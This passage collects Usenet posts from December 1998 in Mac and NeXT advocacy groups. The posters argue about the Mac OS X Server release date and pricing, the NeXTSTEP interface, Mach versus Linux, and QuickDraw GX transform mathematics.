I haven't conversed with. What invariably happens is you forward one of my
messages to someone thinking they'll take me to task, but they instead
write to me thinking I was just misled on some of my comments, and that's
when it comes out that you mailed them edited versions of my posts. After
I point out the whole message we talk, and then they disagree with you.
> > For which 68k systems will Apple produce any new system software?
>
> That is my point
No it's not. Your point is that GX is the greatest thing since sliced
bread and all of us developers are morons because we don't use it.
Anything else that resembles a point in these threads is invariably used to
try to reenforce this claim.
> It don't have to be that way.
That's right, my girlfriend keeps getting younger, my hair is falling in
and last night someone from Apple came and replaced my Mac with a new one
for free as soon as the old one got outdated!
Maury
From: lunaslide@pacbell.net (lunaslide)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Date: Thu, 3 Dec 1998 06:46:30 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <MPG.10d04420df2655f598969c@news.supernews.com>
References: <73o7eu$v2a$3@your.mother.com> <73p6ag$8k0$1@nnrp1.dejanews.com>
sayeth jim9@postmaster.co.uk in article <73p6ag$8k0$1@nnrp1.dejanews.com>
> In article <73o7eu$v2a$3@your.mother.com>,
> > Now it appears that the first *major* upgrade to the Mac operating
> > system, MacOS X, will probably be released in 1998 - the same year that
> > the next Star Wars trilogy will begin.
>
> I doubt it will be released in 1998, the server version will come in 99.
It won't be released in 1998, but in January 1999, according to Apple in
their WebObjects 4.0 press release.
> Mac
> OS X will hopefully arive in 99, but based on Apples past I doubt it.
You mean based on the last two years when Apple has released every OS
upgrade they promised within a month of the announce date? The reason
that OS X Server is so late is a licensing issue with a third party
(probably Adobe over Display Postscript stuff in the OS). The DP stuff
will be replaced by OS X's release.
--
lunaslide * PGP key->pgpkeys.mit.edu port 11371
* * * * * *
Ah, the good old days when things were crap. *
* * * -The Passenger * *
* * * * *
From: spagiola@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 03 Dec 1998 14:59:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74690k$n$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
a1050pi@yahoo.com wrote:
> http://www.macintouch.com/ says that OSX is going to be out by Jan.
> Is that possible?
What they said is that OSX SERVER was likely to come out in January, and yes,
that's entirely possible. Almost everyone seems to believe it's been ready to
ship for a few months now.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3EA28.9Ju@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: a1050pi@yahoo.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 15:08:31 GMT
In
<6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> http://www.macintouch.com/ says that OSX is going to be out by Jan.
>
> Is that possible?
Sure, I suppose.
> And how possible is it that the GUI might be opened
> up a little bit to allow for Linux instead of Mach (sp?) in its
> innards?
The GUI never had anything to do with the OS under it. That's how it
runs on NT and Win95.
The real question is why you'd want Linux as opposed to Mach/BSD.
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Thu, 03 Dec 1998 15:07:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7469f5$b2$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net>
skellener@earthlink.net wrote:
> All I was saying is that whenever I read your posts Maury, you never
> seem to like anything about the NeXT UI so I wondered why you post
> here.
Maury has in fact had lots of bad things to say about the NeXTSTEP UI. I
disagree with many of his criticisms, but I think most boil down to tastes
being different. On the other hand, Maury seems to have developed a very
strong appreciation for the NeXTSTEP-derived technologies that lie underneath
the GUI, despite his initial skepticism. I think we should all applaud his
ability to see what's GOOD in NeXSTEP despite his dislike for some of the
superficial elements. Most people never go beyond a dislike of superficial
elements. I wish more people on usenet (and elsewhere) had that ability.
But of course, we'll continue to disagree on the virtues of the NeXTSTEP UI.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
Content-Type: text/plain; charset=us-ascii
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Content-Transfer-Encoding: 7bit
Cc: scott@nospam.doubleu.com
Organization: needs one
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 15:59:19 GMT
In <SCOTT.98Dec3001200@slave.doubleu.com> Scott Hess wrote:
> I guess what I'm saying is that calling something "NT Server" no more
> makes it a server in real life than calling it "Mac OS X Server".
> Rhapsody didn't suddenly change into a whiz-bang superserver just by
> changing the name. It's the same old wonderful power-user client
> system wrapped in a UI that even a novice can use.
I think we all agree on that. But my point is that if it's OK for NT to
do this and be sold for more money, I don't see why it's not OK for Apple
to do it as well. We've all read the articles on this, the difference
between NT server and client appears to be nothing more than a registry
entry.
> What I'm saying is that the "Server" tag isn't there because they're
> targeting a server environment, really (just because high-end
> developer machines share many parts with servers doesn't _make_ them
> servers.
I'm not at _all_ convinced this is true though. I really do think Apple
is targetting this for servers, because as it stands they really don't have
anything in that space and they need something in that space. Yes, when
"Client" ships Server will change dramtically, but that seems to be besides
the point to me.
> My whole point in quibbling with the "Server" designation is that NT
> Server costs much more than NT Workstation because it's supposed to be
> used for serving large numbers of people, say over the Internet. As a
> developer, I'd never want to have NT Server installed on my machine.
Sure, but as I noted, the reality is completely different. In fact it
seems to me that the "OS-X Server" is likely to be different in more ways
than NT is. I fully expect it to come with things like Apache, WO, and
various NetInfo admin tools. I suspect these will not ship on the client
side.
> MacOS X Server, meanwhile, will have a significant contingent of
> developers using it.
Well, we hope!
> I, personally, don't want to have to pay for MacOS X Server as if I
> was going to install a database and server 1M web pages a day off of
> it. Perhaps they should bring out MacOS X Enterprise to clear up that
> concern...
Ahhhh, now I see the issue.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: skellener@earthlink.net
Organization: needs one
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net>
<742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 15:52:40 GMT
In <3666263B.5551@earthlink.net> Steve Kellener wrote:
> All I was saying is that whenever I read your posts Maury, you never
> seem to like anything about the NeXT UI so I wondered why you post
> here.
Steve, that's such a silly comment it's not even worth bothering about.
> I have not read EVERY post you have ever made, but the ones I
> have read always seem to rip on the NeXT UI.
In the last 6 months, I would say I've posted something on the order of
1200 messages. In that group of messages, perhaps 5 were on the NeXT UI.
There must be something wrong with your newsreader.
> I'll try and look for some of the pro-NeXT aspects of your posts from
> now on.
Just killfile me.
Maury
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 3 Dec 1998 15:46:37 GMT
Organization: University of Waterloo
Message-ID: <912699997.892584@watserv4.uwaterloo.ca>
References: <366121D4.6811@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net> <7469f5$b2$1@nnrp1.dejanews.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <7469f5$b2$1@nnrp1.dejanews.com>, <spagiola@my-dejanews.com> wrote:
>On the other hand, Maury seems to have developed a very
>strong appreciation for the NeXTSTEP-derived technologies that lie underneath
>the GUI, despite his initial skepticism. I think we should all applaud his
>ability to see what's GOOD in NeXSTEP despite his dislike for some of the
>superficial elements.
For sure. When the NeXT/Apple thing started (and 4.2PRwhatever was handed
out at WWDC) Maury was one of the most prolific Mac-type posters in these
parts (well, with one obvious exception). He really made an effort to "get it"
and, when he didn't, he didn't go away in a huff. And how he's working on
the descendant of one of my favourite apps of all time.
There are people in this group that deserve flaming and derision (there's
that "obvious exception" again) but Maury's not one of them.
>But of course, we'll continue to disagree on the virtues of the NeXTSTEP UI.
>
...but could likely do it over a pint without turning into hooligans!
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
Newsgroups: comp.sys.next.advocacy
From: Richard.Nuttle@wdrSPAM_EGGS_AND_SPAM.com (Richard Nuttle)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <1998Dec2.155759.8545@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <365da487.0@uni-wuerzburg.de>
Date: Wed, 2 Dec 1998 15:57:59 GMT
[Where did my newsreader put the attribution]
Mattias K. Buelow writes
> In article <365D8FD3.6B3D@holyrood.ed.ac.uk>,
> S S Sturrock <sss@holyrood.ed.ac.uk> wrote:
>
> >out to be when it finally arrived. And you can't argue that they aren't
> >fast!
>
> That I certainly agree with (but mostly because they can be clocked so
> high, they're often a little slower than other risc or cisc machines at
> the same clockrate).
>
It is my understanding that Alpha has a very small instruction set. So some
things which other chips can do in a clock cycle, Alpha may take a few, since
it does not have the built-in instruction for that operation. This is
especially the case when dealing with cisc machines like Intel which can do all
kinds of neat things in a clock tick which Alpha cant. (that was a
generalization, if you didn't notice :-) The win of the Alpha is it's higher
clock rate. If you're using a poor compiler, or an Alpha with similar clock
rate to another chip, the performance win is not as great, since Alpha may have
to stack up several instructions to do something a CISC or more complicated
RISC machine can do in one.
-Rich
--
My opinions do not reflect those of my employer.
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Thu, 03 Dec 1998 11:26:13 -0500
Organization: Styx DTP
Sender: monner@dial04p29.ottawa.storm.ca
Message-ID: <3666BBA4.93A06F7@tone.ca>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <742dlu$r5f@news1.panix.com> <3665A704.5A26FEBA@tone.ca> <7453m0$mel@news1.panix.com>
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 3 Dec 1998 16:27:03 GMT
Sal Denaro wrote:
> Did they do the demo on x86 or Mac hardware?
>
>
> Are the new Java tools any good? I heard a rumor that you can now use IB+PB
> to build 100% pure Java Apps with Swing widgets and JavaBeans for the GUI
> without any YB code at all. Did you see anything to confirm or squash this
> rumor?
They used intel hardware.
The demos appeared to be entirely Java based. Compiles produced Java code and
what little code was insrted was Java. There were references to Swing which I
didn't understand, not knowing what swing is. Don't know enough about the
territory to definitively confirm the rumour.
Michael Monner
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <Ddx92.3237$Z72.1185245@tundra.ops.attcanada.net> ignore no reply
Control: cancel <Ddx92.3237$Z72.1185245@tundra.ops.attcanada.net>
Message-ID: <cancel.Ddx92.3237$Z72.1185245@tundra.ops.attcanada.net>
Date: Thu, 03 Dec 1998 16:31:41 +0000
Sender: vugstg@addr.com
From: andrew@erlenstar.demon.co.uk
Organization: Annihilator v0.3
Spam (EMP) cancelled.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 10:45:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C1C7F-5BF73@206.165.43.215>
References: <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
William Edward Woody <woody@alumni.caltech.edu> said:
[mathematical proof of the equivalence of the GX 3x3 and a generic 4x4
transform matrices under special circumstances that apply to GX graphics]
>QED
>
>(Who isn't defending GX; personally I think it was too little,
>too late. And while GX is technologically cool, unfortunately
>I think it's the wrong approach for that sort of thing from a
>political and marketing standpoint. OTOH, GX *IS* technologically
>cool, and slamming it for something people think it can't do
>is just wrong.)
I agree [surprise! everybody] that GX is "too little" for a PPC-based
system -the fixed-point coordinates and mathematical API are too slow for
PPC's and, [surprise again!] the cubic beziers of PDF/DPS are more
appropriate for DTP handling AND because they've optimized them for PPCs,
they'll just be faster than GX's 68K-oriented routines. HOWEVER, to cancel
GX completely is rather short-sighted. There are over 20 million Mac users
who CAN use GX currently, of whom, over 10 million CANNOT use
Carbon/YB-based graphics, no matter how sophisticated. Cancelling GX sends
a signal to everyone to abandon 68K users (which just might have been the
intent, eh?).
The PROPER way to handle the graphics transition, in my opinion, is thusly:
Upgrade GX one last time to be truely useful, out-of-the-box -this would
include, in order of importance:
Reintroduce the old GX overlapping shape print-strategy so that GX apps
could export true device independent PS/EPS representations of overlapping
non-opaque shapes. The bitmap solution is only suitable for immediate
printing, and not professional-level graphics.
provide an ATSUI-compatible text-block shape-type, as well as
ATSUI-compatible text-handling APIs so that developers can use the same
general text-handling API on older and newer systems.
provide the gradient shapes of QuickTime vectors to allow complete parity
between the QT vectors capabilities and GX's.
Add a gxInk object reference to the style-run info of GX text so that we
can have multi-colored/transfer-moded runs of styled text.
Somewhere in there, Daniel Lipton's editable text-on-path should be added
in as a native GX shape.
On the YB/Carbon side, the underlying graphics engine should be extended to
handle the GX transfer modes (they really ARE kool, folks). The 4x?? matrix
that Mike Paquette keeps on hinting at will obviously handle the GX 3x3
matrix with no problems.
Also, the QT vectors gradient shape should be directly supported in the API
and a special-case of the vector types should be made available so that one
can easily constrain Carbon/YB graphics to be completely compatible with
QT/GX graphics.
A very GX-like retained-mode graphics library should be put on top of
Carbon, allowing an easy transition to Carbon for GX-based applications
(not to mention my HyperCard/OSAX (?) GX scripting X-thang, which MUST have
a retained-mode interface to work. An extensible class library with
built-in classes to handle the GX features should be made available for YB
(does anyone really NOT want all of GX's transfer mode-handing to make it
into the next-gen graphics engine?). Incidentally, the ASUI library is
described as a very "GX-like" "object-based" system, so this isn't exactly
an unheard of thing for Carbon.
A translation mechanism from GX to the Carbon/YB GX-like library should be
available. A mechanism for [approximate] translation from Carbon/YB back to
GX should also be available. Carbon/YB-to-QT vectors should also be
supported.
Any other useful stuff that would ease the transition from non-Carbon/YB to
Carbon/YB should be put in there, also.
The above would provide a useful transition from old graphics to new, while
not abandoning older Macs.
In an ideal world, wouldn't something like the above be the best way to go?
The question, of course, is: who would pay for it?
If GX were really popular, it would be a no-brainer for Apple to do it.
Otherwise, Apple has to be paid to do it. So, who would pay for such a
thing, and why?
The answer will soon be apparent...
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 03 Dec 1998 17:50:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <746j19$996$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
In article <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-
proxy.airnews.net>,
a1050pi@yahoo.com wrote:
> http://www.macintouch.com/ says that OSX is going to be out by Jan.
>
> Is that possible?
Yes. The delay has largely been due to licensing/royalty issues and figuring
out when and how to market the product, and not because Apple didn't have the
technology to the point where they could ship it.
> And how possible is it that the GUI might be opened up a little bit to
> allow for Linux instead of Mach (sp?) in its innards?
OSX has a critical dependency on Mach messaging. While it's certainly
possible to provide an emulation of this for other systems, what would be the
point? Mach is an exceptionally good kernel with a level of innovation and
performance that is at least as good as the Linux kernel (IMHO).
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 3 Dec 1998 09:47:09 -0800
Organization: Net Squared, Inc.
Message-ID: <746k9p$820$1@your.mother.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
Jin Kim wrote in message ...
>I don't understand why people want Apple to replace Mach with
> Linux. ...
Because Apple hasn't committed to an Intel solution (other than OpenStep
for Windows) beyond the initial MacOS X Server release.
OpenStep on Linux would give Apple an exit strategy from the Mach/Intel
effort. MacOS X on Mach for PowerPC, and OpenStep for Linux on Intel.
Also, it would create a larger customer base into which OpenStep
developers can sell their products.
Just a thought.
Todd
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 3 Dec 1998 18:24:52 GMT
Organization: AOL http://www.aol.com
References: <WGy92.166$QB3.4178387@news.rdc1.ne.home.com>
Message-ID: <19981203132452.14328.00000951@ng57.aol.com>
One question which I do have here regarding Maury's criticism of the NeXT UI is
how much of it is based on actual usage?
For example, his criticism of the NeXT Shelf/Dock with desktop as void seems to
be based on his incorrect assumption (which I've posted a correction for to
which he has not responded) that dropping an icon onto the desktop results in
the deletion of that file.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sdm7g@elvis.med.Virginia.EDU (Steven D. Majewski)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 3 Dec 1998 18:27:53 GMT
Organization: University of Virginia
Message-ID: <746l79$3ls$1@murdoch.acc.Virginia.EDU>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
In article <f6r92.2428$CY1.9646758@news.itd.umich.edu>,
Jin Kim <kwazyjin@hotmail.com> wrote:
>
>Sheldon Gartner wrote in message
><6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.ne
>t>...
>>http://www.macintouch.com/ says that OSX is going to be out by Jan.
>>
>>Is that possible? And how possible is it that the GUI might be opened
>>up a little bit to allow for Linux instead of Mach (sp?) in its
>>innards?
>
>
>I don't understand why people want Apple to replace Mach with Linux. [...]
Well -- one advantage, found in:
"Optimizing the Idle Task and other MMU Tricks"
<http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
| "According to the LmBench benchmark, Linux/PPC is now twice as fast as
| IBM's AIX/PPC operating system and between 10 and 120 times faster than
| Apple's Mach based MkLinux/PPC and Rhapsody/PPC operating systems."
---| Steven D. Majewski (804-982-0831) <sdm7g@Virginia.EDU> |---
---| Department of Molecular Physiology and Biological Physics |---
---| University of Virginia Health Sciences Center |---
---| P.O. Box 10011 Charlottesville, VA 22906-0011 |---
Boies cautioned Judge Jackson that Microsoft will attempt to portray these
meetings as the work of Microsoft employees with "important titles" who
"weren't really executives." <http://www.ipmag.com/dailies/981020.html>
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Thu, 03 Dec 1998 19:17:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <746o4g$dol$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <SCOTT.98Dec3001200@slave.doubleu.com> Scott Hess wrote:
> > I guess what I'm saying is that calling something "NT Server" no more
> > makes it a server in real life than calling it "Mac OS X Server".
> > Rhapsody didn't suddenly change into a whiz-bang superserver just by
> > changing the name. It's the same old wonderful power-user client
> > system wrapped in a UI that even a novice can use.
>
> I think we all agree on that. But my point is that if it's OK for NT to
> do this and be sold for more money, I don't see why it's not OK for Apple
> to do it as well.
It's perfectly OK for Apple to sell an OSX/WebObjects/Apache/other stuff
bundle designed to compete with NT Server, and to price it accordingly. What
would be really silly is making OSX Server available ONLY in this way. After
all, MS has WNT workstation, don't they? In OSX Server, Apple has, as Scott
put it, a "wonderful power-user client system wrapped in a UI that even a
novice can use". By selling a plain-vanilla OSX Server, Apple would now have
a complete product range, with OS8.5 competing with W95/98, plain-vanilla OSX
Server competing with NT workstation, and OSX Server + other stuff competing
with NT Server.
So it's not the notion of selling a high-end bundle that people are objecting
to, it's the notion of not ALSO selling a mid-end bundle. Does it make sense
to leave the middle range completely to MS?
Now all of this is hypothetical, since Apple has said nothing of its OSX
Server pricing plans at all. All we have so far is ugly rumors. Hopefully,
those were just either plain wrong or trial balloons put out to see what the
reaction would be. I'd like to make sure Apple realizes that the reaction
would be very bad. From where I sit, I see plenty of people waiting to see if
Apple really has learned from its previous Apple/NeXT mistakes, or whether
iMac and other recent successes were just flukes.
> > What I'm saying is that the "Server" tag isn't there because they're
> > targeting a server environment, really (just because high-end
> > developer machines share many parts with servers doesn't _make_ them
> > servers.
>
> I'm not at _all_ convinced this is true though. I really do think Apple
> is targetting this for servers, because as it stands they really don't have
> anything in that space and they need something in that space.
But they also have nothing in the space in which NT workstation sells. OS X
Server is perfect for this space; why not sell into that as well?
> > My whole point in quibbling with the "Server" designation is that NT
> > Server costs much more than NT Workstation because it's supposed to be
> > used for serving large numbers of people, say over the Internet. As a
> > developer, I'd never want to have NT Server installed on my machine.
>
> Sure, but as I noted, the reality is completely different. In fact it
> seems to me that the "OS-X Server" is likely to be different in more ways
> than NT is. I fully expect it to come with things like Apache, WO, and
> various NetInfo admin tools.
Again, fine. More power to them. But ALSO sell it an NT workstation-like price
without these bells and whistles.
> > I, personally, don't want to have to pay for MacOS X Server as if I
> > was going to install a database and server 1M web pages a day off of
> > it. Perhaps they should bring out MacOS X Enterprise to clear up that
> > concern...
>
> Ahhhh, now I see the issue.
Well, some of us have been going on on this for some time now. Hopefully, it
didn't take Apple as long to see it as well.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <36666ab0$0$229@nntp1.ba.best.com>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <MJB92.25220$aF1.71629@typhoon-sf.snfc21.pbi.net>
Date: Thu, 3 Dec 1998 11:32:04 -0800
NNTP-Posting-Date: Thu, 03 Dec 1998 11:35:08 PDT
Organization: SBC Internet Services
Kenneth C. Dyke wrote in message <36666ab0$0$229@nntp1.ba.best.com>...
>On 12/02/98, "Lawson English" wrote:
>>Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>>
>>>On 12/01/98, "Lawson English" wrote:
>>>>
>>>>Er, any time you apply 3D operations to ANY graphic, all you are
>>>>getting out is 2D data, unless you are using some bleeding-edge
>>>>holographic graphics system.
>>>
>>>Pop Quiz: Take a 3D graphic and apply a 3D transform (rotation,
>>>translation, scaling, etc.) to it. What kind of data is the result?
>>>
>>
>>3D. Now project it on a computer screen.
>
>Woah, hold it. You didn't say anything about projection.
I thought elsewhere this was one of the major arguments.
> ... Your
>statement was essentially that all useful 3D operations to graphics
>result in 2D data, which is simply false.
>
>>What kind of data is the result?
>
>2D, of course.
Actually, it was that all useful 3D operations to a 2D
graphic resulted in 2D data, which (as I showed elsewhere)
is in fact true: if we constrain the input to the 4x4
transformation matrix with z=0, and we ignore the
screen z output, we can effectively eliminate the 3rd
row and 3rd column of the 4x4 matrix, leaving the 3x3
GX matrix.
>>Remember, no graphics operation is useful until it is displayed and by
>>then it is merely a 2D projection.
>
>Also false. There are a lot of uses for doing 3D transformations that
>do not result in 2D projections or any other direct output to display
>devices. A very simple example would be doing 3D collision detection
>in a game. At no point while doing the collision detection would you
>ever project the data down to 2D.
I think we're talking about GX's world here.
OTOH, if we are talking about collision detection, the question
is "which algorithm"--games are netorious for being fast and dirty,
and many a time the quickest way to implement collision detection
for a specialty game is to reduce the problem to collision
detection in 2D. (Many 3D shoot-em-ups use 3D collision
detection, but some don't--such as some of the 2 1/2 D constrained
movement games modeled in the likeness of DOOM.)
>>So, it is a 2D perspective? You have an interesting definition of
>>"perspective."
>
>Let me change the emphasis then: It is not *3D perspective*.
>
>>Mathematically, what is the difference between applying the
>>3x3 transform and a higher-order transform, given the GX initial
>>conditions and constraints?
>
>For starters, and one that is actually very important to GX, is that
>GX's "perspective" transform matrix is invertable (at least for any
>useful gxMapping, obviously you could map all points to 0,0 or some
>other point, but then hit detection wouldn't be all that useful on such
>an object, nor would rendering for that matter). This is useful for
>proper hit detection within a shape.
Sorry, but this is an incorrect statement.
The GX's transformation matrix maps points from (x,y,1) through a
3x3 matrix onto points (x',y',w'), which, when dividing by the
last term w', gives points (x'/w'),(y'/w') on the screen. While
the 3x3 matrix is in fact invertable, so is the 4x4 perspective
matrix when used in computer graphics--the mapping of points in
GX from (x,y) to (x'/w',y'/w') is in fact **NOT** invertable.
(By the way, the fact that the 4x4 homogeneous transformation
matrix is invertable gives a lot of useful properties, such as
a fast method for producing texture mapping on a polygon
renderer. It's that fast technique (reducing the texture
mapping calculations to 4 adds and a divide per pixel) that
most folks are abuzz with in rec.games.programmers, and is
directly derivable from the property of the 4x4 perspective
transformation's invertability. But I digress.)
Also, the invertability (or not) of the GX 3x3 matrix (or the
homogeneous 4x4 matrix) has nothing to do with hit detection,
as most hit detection algorithms take place in world coordinates,
not in screen coordinates.
>With a *3D* perspective projection, depth information is completely
>thrown away[*] such that you can't convert from screen coordinates back
>to 3D camera or object coordinates using only the projection matrix.
>This is not to say that it can't be done at all, but the method to do
>it is different than what GX would have to do for its shapes.
>
>[*] Actually, with a depth buffer you could read back the depth
>information at a particular point.
And with GX, the 3D perspective projection is never calculated as
the column term of the 4x4 matrix has been eliminated. It doesn't
mean that mathematically these are not equivalent operations.
Besides, if you are building a rendering engine for 3D rendering
and you don't care about screen depth at a given point, you can
save yourself 4 multiplies and one add by reducing the 4x4
homogeneous coordinate to a 4x3 matrix by eliminating the 3rd
column in the matrix.
To the overall argument, this is irrelevant.
>>>The 3D perspective projection essentially boils down to scaling the X
>>>and Y coordinates of 3D data by the Z distance from the viewer.
>>>
>>>The pseudo-perspective that GX provides scales the X and Y
